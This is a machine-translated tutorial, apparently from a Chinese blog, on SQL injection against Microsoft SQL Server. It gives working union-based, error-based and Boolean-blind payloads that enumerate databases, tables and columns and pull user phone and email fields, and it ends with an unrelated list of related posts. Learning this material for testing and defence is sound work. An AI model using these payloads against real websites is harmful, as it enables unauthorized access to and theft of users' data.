当前位置:网站首页>SQL injection - injection based on MSSQL (SQL Server)
SQL injection - injection based on MSSQL (SQL Server)
2022-07-04 05:27:00 【In a word, the Trojan horse (the growth road of Wang an Xiaobai)】
Catalog
One 、 How to judge whether the website uses sql server database
Two 、sql server The database contains three main system tables
3、 ... and 、sql server Main function
Four 、 Database injection process
5、 ... and 、sql server Joint query for
6、 ... and 、sql server Error injection of
7、 ... and 、sql server Boolean blind note .
One 、 How to judge whether the website uses sql server database
- According to the suffix : If the suffix is aspx, The database is about sql server
- Judge according to the error information , The error message contains Microsoft word .
- Judge according to the system table ,and (select count(*)from sysdatabases) >0 , If it works , It means that it contains this system table , It can be judged as sql server database sql server The database contains three main system tables
Two 、sql server The database contains three main system tables
- sysdatabases : This form is saved in master In the database , Inside name The database names of all databases are stored under the field .
- sysobjects: This table stores the information of the database table , Inside id Fields are stored in tables id,name Is the name of the watch ,xtype Fields store the type of table ,u Represents the table created for the user ,s Indicates that the table is a system table .
- syscolumns: This table stores the information of fields in the database ,id For the table id, The id Can pass sysobjects get .name For field name .
3、 ... and 、sql server Main function
- host_name() : Return the server-side host name .
- current_user(): Return the current database user .
- db_name(): Returns the name of the current database .
- char(): take ASCII Code into the corresponding character .
- ASCII(): Convert the character to the corresponding ASCII code .
- substring(): Intercepting string .
Four 、 Database injection process
- Get database name
- Get the name of the table in the database
- Get the column name of the table in the database
- Get the corresponding data
5、 ... and 、sql server Joint query for
1. Use union keyword
2. Use union Joint query considerations
- First of all, you need to know the number of columns to query , Use order by n Judge n Indicates the specific number of columns .
- sql server Database and MySQL The difference between databases is ,sql server The data types before and after the database must be consistent .
- Determine the display position of the data .
- Make the previous query result empty .
3.sql server Demonstration of database using joint query .
notes : This website is a personal website , Do not use real websites to attack .
3.1 First, judge the injection point , Secondly, judge the injection type
Add single quotes , Error message found
3.2 Use it directly 2-1 Determine its data type
Page echo found successful , So it can be determined as digital , Next use union The joint query
3.3 Use order by Judge the number of columns
You can find that the number of columns is 13 Column
3.4 Confirm the data type of each column , Therefore, it is found that the data types are incompatible , have access to null Replace
When we all use null when , It's still wrong to find out , The reason for this error is union Statements remove duplicates by default when merging queries , That is to say, it is executed by default distinct operation .
Therefore, it is necessary to union Change it to union all Do not remove duplicates , This error can be solved . Generally, you can get the database directly after you get here , But the environment here is wrong , It indicates that when the query is found , There are also data type mismatches , Continue to replace from the beginning with null , Until no error is reported . It was finally determined to be 3,4,6,7,10,11 Character , 1,2,5,8,9,12,13 It is digital
3.5 Now you can get the relevant information of the database through joint query on the homepage
3.5.1 Get database name
payload:id=1 UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from master..sysdatabases
3.5.2 Get the library name of the current database
payload:id=1 UNION all SELECT 1,2,db_name(),null,5,null,null,8,9,null,null,12,13 from master..sysdatabases
3.5.3 Get the table name in the database
payload:id=1 UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from jiaofan..sysobjects where xtype = 0x75
3.5.4 Get the field of the current table name
payload:id=1 UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from jiaofan..syscolumns where id = (select id from jiaofan..sysobjects where name = 0x73006C005F007500730065007200)
5.3.5 Get the specific value under the field
payload:id=1 UNION all SELECT 1,2,shouji,null,5,youxiang,null,8,9,null,null,12,13 from sl_user
6、 ... and 、sql server Error injection of
Similar to other database error injection .
1.sql server Demonstration of error injection
1.1 Get the current database
payload:id=1 and 1=(select db_name())
1.2 Get all databases ( Because we use and 1= () Error reporting in progress , So only one value can be obtained at a time , You can use top function )
payload:id=1 and 1= (select top 1 name from master..sysdatabases)
If you want to get the second row of data ,
payload:id=1 and 1= (select top 1 name from master..sysdatabases where name not in( select top 1 name from master..sysdatabases ))
1.3 Get the table name of the current database
payload:id=1 and 1= (select top 1 name from jiaofan..sysobjects where xtype = 0x75)
1.4 Get the field name in the table
Because it involves two tables , So you can combine the two tables
payload:id=1 and 1= (select top 1 c.name from jiaofan..syscolumns c ,jiaofan..sysobjects o where c.id = o.id and o.name =0x73006C005F007500730065007200 )
7、 ... and 、sql server Boolean blind note .
1.sql server Demonstration of Boolean blind note
1.1 Get the number of databases
payload:id=1 and (select count(*) from master..sysdatabases) >7
id=1 and (select count(*) from master..sysdatabases) >8
1.2 Get the information of the current database
payload:id=1 and substring((select db_name()),1,1)=char(106)
边栏推荐
- 2022年T电梯修理操作证考试题库及模拟考试
- 小程序毕业设计---美食、菜谱小程序
- [QT] create mycombobox click event
- [MySQL practice of massive data with high concurrency, high performance and high availability -8] - transaction isolation mechanism of InnoDB
- flink1.13 sql基础语法(一)DDL、DML
- [matlab] matlab simulation - narrow band Gaussian white noise
- [technology development -25]: integration technology of radio and television network, Internet, telecommunication network and power grid
- When using flash to store parameters, the code area of flash is erased, which leads to the interrupt of entering hardware error
- Analysis of classical pointer and array written test questions in C language
- Zhongke Panyun - module a infrastructure setting and safety reinforcement scoring standard
猜你喜欢
2022年R2移动式压力容器充装复训题库及答案
2022危险化学品经营单位安全管理人员上岗证题库及答案
空洞卷积、可变形卷积、可变形ROI Pooling
A summary of the 8544 problem that SolidWorks Standard cannot obtain a license
Etcd database source code analysis - initialization overview
Simulated small root pile
C language simple student management system (including source code)
小程序毕业设计---美食、菜谱小程序
C # character similarity comparison general class
拓扑排序和关键路径的图形化显示
随机推荐
LM小型可编程控制器软件(基于CoDeSys)笔记二十一:错误3703
Unity2d -- character moves and turns
C language simple student management system (including source code)
[matlab] matlab simulation modulation system SSB system
2022 Guangdong provincial competition - code information acquisition and analysis flag
Error response from daemon: You cannot remove a running container 8d6f0d2850250627cd6c2acb2497002fc3
【兴趣阅读】Adversarial Filtering Modeling on Long-term User Behavior Sequences for Click-Through Rate Pre
Flink1.13 basic SQL syntax (II) join operation
Li Kou's 300th weekly match
c语言经典指针和数组笔试题解析
724. 寻找数组的中心下标
2022g2 power station boiler stoker special operation certificate examination question bank and answers
KMP匹配字符串
如何使用postman实现简单的接口关联【增删改查】
Flask
Write a complete answer applet (including single choice questions, judgment questions and multiple topics) (III) single choice questions, judgment questions, and the first question display
力扣 第 300 场周赛
云原生架构实战案例及优化解决方案
Simulink and Arduino serial port communication
LabVIEW错误对话框的出现